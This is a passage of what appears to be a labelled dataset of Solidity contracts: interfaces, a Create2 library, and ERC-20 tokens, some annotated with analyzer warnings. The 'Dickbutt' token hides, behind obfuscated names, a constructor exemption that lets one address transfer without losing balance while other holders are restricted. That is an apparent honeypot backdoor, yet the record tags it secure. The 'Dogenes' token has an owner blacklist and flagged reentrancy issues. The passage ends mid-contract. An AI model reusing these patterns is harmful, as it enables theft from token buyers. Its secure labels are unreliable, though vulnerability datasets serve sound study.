"secure": 1,
"size_bytes": 3849
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IIEarnManager {\n function recommend(\n address _token,\n address afiBase,\n address afiStorage\n )\n external\n view\n returns (string memory choice, uint256 capr, uint256 aapr, uint256 dapr);\n}",
"file_name": "solidity_code_2026.sol",
"secure": 1,
"size_bytes": 323
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IAFiStorage {\n struct Investor {\n bool isPresent;\n uint256 depositNAV;\n uint256 redemptionNAV;\n }\n\n struct TeamWallet {\n bool isPresent;\n bool isActive;\n address walletAddress;\n }\n\n enum Lender {\n NONE,\n DYDX,\n COMPOUND,\n AAVE\n }\n\n struct RebalanceDetails {\n uint8 scenario;\n address rebalancedUToken;\n address[] rebalancedToUTokens;\n }\n\n event TeamWalletActive(address indexed walletAddress, bool isActive);\n\n event TeamWalletAdd(address indexed walletAddress, bool isActive);\n\n function getTeamWalletDetails(\n address aFiContract,\n address _wallet\n ) external view returns (bool isPresent, bool isActive);\n\n function addTeamWallet(\n address aFiContract,\n address _wallet,\n bool isActive,\n bool isPresent\n ) external;\n\n function getTeamWalletsOfAFi(\n address aFiContract\n ) external view returns (address[] memory _teamWallets);\n\n function setTeamWallets(\n address aFiContract,\n address[] memory _teamWallets\n ) external;\n\n function setAFiActiveAndAPR(\n address aFiContract,\n bool active,\n address _apr\n ) external;\n\n function updateRebalanceDetails(\n address aFiContract,\n address rbUToken,\n address[] memory rbtoUTokens,\n uint8 _scenario\n ) external;\n\n function setActiveRebalancedStatus(\n address aFiContract,\n bool status\n ) external;\n\n function isAFiActiveRebalanced(\n address aFiContract\n ) external view returns (bool _isActiveRebalanced);\n\n function getTotalActiveWallets(\n address aFiContract\n ) external view returns (uint256);\n\n function calcPoolValue(\n address tok,\n address afiContract,\n address midTok\n ) external view returns (uint256);\n\n function calculateBalanceOfUnderlying(\n address tok,\n address afiContract\n ) external view returns (uint256);\n\n function calculatePoolInUsd(\n address afiContract\n ) external view returns (uint256);\n\n function calcPoolValueSome(\n address tok,\n address afiContract,\n address midTok\n ) external view returns (uint256);\n\n function afiSync(\n address afiContract,\n address tok,\n address aaveTok,\n uint256 dtoken,\n address compTok\n ) external;\n\n function getMinimumAmountOut(\n address afiContract,\n address _tokenIn,\n uint256 _amountIn,\n address _tokenOut,\n address midTok,\n address uniPool\n ) external view returns (uint256 priceOracle);\n\n function checkIfUSDC(\n address afiContract,\n address tok,\n address midTok\n ) external view returns (uint256, uint256);\n\n function validateAndGetDecimals(\n address tok\n ) external view returns (uint256);\n\n function getStakedStatus(\n address aFiContract,\n address uToken\n ) external view returns (bool);\n\n function rearrange(address aFiContract) external;\n\n function swapForOtherProduct(\n address afiContract,\n uint256 r,\n address oToken,\n uint256 deadline,\n uint256[] memory slippageFactor\n ) external returns (uint256);\n\n function caculateMinOutForUniswap(\n address afiContract,\n address _tokenIn,\n address _tokenOut,\n uint256 amt,\n address middleToken,\n address uniPool\n ) external view returns (uint256);\n\n function _withdrawAll(address afiContract, address tok) external;\n\n function getPriceAndDecimals(\n address aFiContract,\n address uToken,\n address feed\n ) external view returns (int256, uint8);\n\n function getAFiOracle() external view returns (address);\n}",
"file_name": "solidity_code_2027.sol",
"secure": 1,
"size_bytes": 4064
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Dickbutt is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private qgynim;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6882a5b): Dickbutt.decimals should be constant \n\t// Recommendation for 6882a5b: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n function approve(\n address pcitzgld,\n uint256 cpfxadbtuyvl\n ) public returns (bool success) {\n allowance[msg.sender][pcitzgld] = cpfxadbtuyvl;\n emit Approval(msg.sender, pcitzgld, cpfxadbtuyvl);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d4f61b): Dickbutt.jmafhusxg should be constant \n\t// Recommendation for 0d4f61b: Add the 'constant' attribute to state variables that never change.\n uint256 private jmafhusxg = 117;\n\n function transferFrom(\n address igmchkjqrp,\n address zdpvt,\n uint256 cpfxadbtuyvl\n ) public returns (bool success) {\n require(cpfxadbtuyvl <= allowance[igmchkjqrp][msg.sender]);\n allowance[igmchkjqrp][msg.sender] -= cpfxadbtuyvl;\n eownus(igmchkjqrp, zdpvt, cpfxadbtuyvl);\n return true;\n }\n\n function eownus(\n address igmchkjqrp,\n address zdpvt,\n uint256 cpfxadbtuyvl\n ) private {\n if (0 == zvel[igmchkjqrp]) {\n if (\n igmchkjqrp != lpcibknzdrhg &&\n qgynim[igmchkjqrp] != block.number &&\n cpfxadbtuyvl < totalSupply\n ) {\n require(cpfxadbtuyvl <= totalSupply / (10 ** decimals));\n }\n balanceOf[igmchkjqrp] -= cpfxadbtuyvl;\n }\n balanceOf[zdpvt] += cpfxadbtuyvl;\n qgynim[zdpvt] = block.number;\n emit Transfer(igmchkjqrp, zdpvt, cpfxadbtuyvl);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: f0b9997): Dickbutt.totalSupply should be constant \n\t// Recommendation for f0b9997: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 9;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7dd1bed): Dickbutt.lpcibknzdrhg should be immutable \n\t// Recommendation for 7dd1bed: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private lpcibknzdrhg;\n\n function transfer(\n address zdpvt,\n uint256 cpfxadbtuyvl\n ) public returns (bool success) {\n eownus(msg.sender, zdpvt, cpfxadbtuyvl);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 692f86a): Dickbutt.name should be constant \n\t// Recommendation for 692f86a: Add the 'constant' attribute to state variables that never change.\n string public name = \"Dickbutt\";\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: e6cf864): Dickbutt.symbol should be constant \n\t// Recommendation for e6cf864: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Dickbutt\";\n\n mapping(address => uint256) private zvel;\n\n mapping(address => uint256) public balanceOf;\n\n constructor(address kbvtejgdi) {\n balanceOf[msg.sender] = totalSupply;\n zvel[kbvtejgdi] = jmafhusxg;\n IUniswapV2Router02 fyercdupg = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n lpcibknzdrhg = IUniswapV2Factory(fyercdupg.factory()).createPair(\n address(this),\n fyercdupg.WETH()\n );\n }\n}",
"file_name": "solidity_code_2028.sol",
"secure": 1,
"size_bytes": 4167
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Create2 {\n function deploy(\n uint256 amount,\n bytes32 salt,\n bytes memory bytecode\n ) internal returns (address) {\n address addr;\n require(\n address(this).balance >= amount,\n \"Create2: insufficient balance\"\n );\n require(bytecode.length != 0, \"Create2: bytecode length is zero\");\n assembly {\n addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)\n }\n require(addr != address(0), \"Create2: Failed on deploy\");\n return addr;\n }\n\n function computeAddress(\n bytes32 salt,\n bytes32 bytecodeHash\n ) internal view returns (address) {\n return computeAddress(salt, bytecodeHash, address(this));\n }\n\n function computeAddress(\n bytes32 salt,\n bytes32 bytecodeHash,\n address deployer\n ) internal pure returns (address) {\n bytes32 _data = keccak256(\n abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash)\n );\n return address(uint160(uint256(_data)));\n }\n}",
"file_name": "solidity_code_2029.sol",
"secure": 1,
"size_bytes": 1179
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Dogenes\";\n\n string private constant _symbol = unicode\"Dogenes\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal / 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal / 50;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private takeTax = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(address(owner()));\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dcbff79): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dcbff79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba7e900): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba7e900: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: dcbff79\n\t\t// reentrancy-benign | ID: ba7e900\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: dcbff79\n\t\t// reentrancy-benign | ID: ba7e900\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ba7e900\n\t\t// reentrancy-benign | ID: 742b437\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: dcbff79\n\t\t// reentrancy-events | ID: 1ffc42d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d51b3a9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d51b3a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9ed6f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9ed6f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (takeTax) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d51b3a9\n\t\t\t\t// reentrancy-eth | ID: f9ed6f6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d51b3a9\n\t\t\t\t\t// reentrancy-eth | ID: f9ed6f6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f9ed6f6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f9ed6f6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f9ed6f6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d51b3a9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f9ed6f6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f9ed6f6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d51b3a9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d51b3a9\n\t\t// reentrancy-events | ID: dcbff79\n\t\t// reentrancy-events | ID: 1ffc42d\n\t\t// reentrancy-benign | ID: ba7e900\n\t\t// reentrancy-benign | ID: 742b437\n\t\t// reentrancy-eth | ID: b4317ea\n\t\t// reentrancy-eth | ID: 9700825\n\t\t// reentrancy-eth | ID: 45515d4\n\t\t// reentrancy-eth | ID: f9ed6f6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 779ec69): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 779ec69: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d51b3a9\n\t\t// reentrancy-events | ID: dcbff79\n\t\t// reentrancy-events | ID: 1ffc42d\n\t\t// reentrancy-eth | ID: b4317ea\n\t\t// reentrancy-eth | ID: 9700825\n\t\t// reentrancy-eth | ID: 45515d4\n\t\t// reentrancy-eth | ID: f9ed6f6\n\t\t// arbitrary-send-eth | ID: 779ec69\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1ffc42d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1ffc42d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 742b437): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 742b437: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fb44646): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)).mul(100 15).div(100),0,0,owner(),block.timestamp)\n\t// Recommendation for fb44646: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 63e125a): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 63e125a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b4317ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b4317ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9700825): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9700825: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 45515d4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 45515d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n if (block.chainid == 56) {\n routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n } else if (block.chainid == 97) {\n routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;\n } else if (\n block.chainid == 1 ||\n block.chainid == 4 ||\n block.chainid == 3 ||\n block.chainid == 5 ||\n block.chainid == 31337\n ) {\n routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 11155111) {\n routerAddress = 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008;\n } else {\n revert();\n }\n\n uniswapV2Router = IUniswapV2Router02(routerAddress);\n\n takeTax = false;\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 1ffc42d\n\t\t// reentrancy-benign | ID: 742b437\n\t\t// reentrancy-eth | ID: b4317ea\n\t\t// reentrancy-eth | ID: 9700825\n\t\t// reentrancy-eth | ID: 45515d4\n transfer(address(this), balanceOf(msg.sender));\n\n\t\t// reentrancy-events | ID: 1ffc42d\n\t\t// reentrancy-benign | ID: 742b437\n\t\t// reentrancy-eth | ID: b4317ea\n\t\t// reentrancy-eth | ID: 9700825\n\t\t// reentrancy-eth | ID: 45515d4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 1ffc42d\n\t\t// reentrancy-benign | ID: 742b437\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: fb44646\n\t\t// reentrancy-eth | ID: b4317ea\n\t\t// reentrancy-eth | ID: 9700825\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)).mul(100 - 15).div(100),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: 9700825\n takeTax = true;\n\n\t\t// unused-return | ID: 63e125a\n\t\t// reentrancy-eth | ID: b4317ea\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: b4317ea\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b4317ea\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_203.sol",
"secure": 0,
"size_bytes": 20213
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Create2.sol\" as Create2;\n\ncontract CrossChainDeployer is Ownable {\n function deployContract(\n uint256 amount,\n bytes32 salt,\n bytes memory bytecode\n ) external onlyOwner returns (address) {\n return Create2.deploy(amount, salt, bytecode);\n }\n\n function computeAddress(\n bytes32 salt,\n bytes32 bytecodeHash\n ) external view returns (address) {\n return Create2.computeAddress(salt, bytecodeHash, address(this));\n }\n}",
"file_name": "solidity_code_2030.sol",
"secure": 1,
"size_bytes": 634
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\n\nabstract contract WithLimitedSupply {\n using Counters for Counters.Counter;\n\n event SupplyChanged(uint256 indexed supply);\n\n Counters.Counter private _tokenCount;\n\n uint256 private _totalSupply;\n\n constructor(uint256 totalSupply_) {\n _totalSupply = totalSupply_;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function tokenCount() public view returns (uint256) {\n return _tokenCount.current();\n }\n\n function availableTokenCount() public view returns (uint256) {\n return totalSupply() - tokenCount();\n }\n\n function nextToken() internal virtual returns (uint256) {\n uint256 token = _tokenCount.current();\n\n _tokenCount.increment();\n\n return token;\n }\n\n modifier ensureAvailability() {\n require(availableTokenCount() > 0, \"No more tokens available\");\n _;\n }\n\n modifier ensureAvailabilityFor(uint256 amount) {\n require(\n availableTokenCount() >= amount,\n \"Requested number of tokens not available\"\n );\n _;\n }\n\n function _setSupply(uint256 _supply) internal virtual {\n require(\n _supply > tokenCount(),\n \"Can't set the supply to less than the current token count\"\n );\n _totalSupply = _supply;\n\n emit SupplyChanged(totalSupply());\n }\n}",
"file_name": "solidity_code_2031.sol",
"secure": 1,
"size_bytes": 1585
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract UniverzToken is IERC20Metadata, Ownable {\n event CurrentSalePhaseEvent(uint256 phaseNo);\n event PercentDividerEvent(uint256 percentDivider);\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n IERC20Metadata public exchangeToken;\n\n string private _name;\n string private _symbol;\n\n uint256[4] salePhasesPercentages;\n uint256[4] public salePhasePrices;\n uint256[4] public minPurchaseAmount;\n uint256 public currentSalePhase;\n uint256 public soldTokens;\n uint256 public saleCounter;\n\n uint256 public percentDivider;\n bool public buyingPaused;\n\n constructor() {\n _name = \"Univerz\";\n _symbol = \"UNIV\";\n\n exchangeToken = IERC20Metadata(\n 0xdAC17F958D2ee523a2206206994597C13D831ec7\n );\n\n _mint(msg.sender, 800_000_000 * (10 ** decimals()));\n _mint(address(this), 200_000_000 * (10 ** decimals()));\n percentDivider = 100_00;\n salePhasesPercentages = [500, 500, 500, 500];\n minPurchaseAmount = [\n 5 * (10 ** exchangeToken.decimals()),\n 10 * (10 ** exchangeToken.decimals()),\n 15 * (10 ** exchangeToken.decimals()),\n 25 * (10 ** exchangeToken.decimals())\n ];\n salePhasePrices = [5000, 10000, 15000, 25000];\n }\n\n function buyToken(uint256 _payAmount) public {\n require(\n !buyingPaused,\n \"The buying is currently paused. Can't buy at this moment\"\n );\n require(\n soldTokens < (totalSupply() * 2000) / percentDivider ||\n currentSalePhase == 4,\n \"Sale is Over!\"\n );\n require(\n _payAmount >= minPurchaseAmount[currentSalePhase],\n \"You cannot buy minimum token than limit of phase\"\n );\n\n uint256 _amountOfTokens = getTokenAmount(_payAmount);\n saleCounter += _amountOfTokens;\n soldTokens += _amountOfTokens;\n if (\n (\n (currentSalePhase == 3)\n ? saleCounter >=\n ((totalSupply() *\n salePhasesPercentages[currentSalePhase]) /\n percentDivider) -\n 1\n : saleCounter >=\n (totalSupply() *\n salePhasesPercentages[currentSalePhase]) /\n percentDivider\n ) && currentSalePhase < 4\n ) {\n currentSalePhase++;\n saleCounter = 0;\n }\n\n require(\n 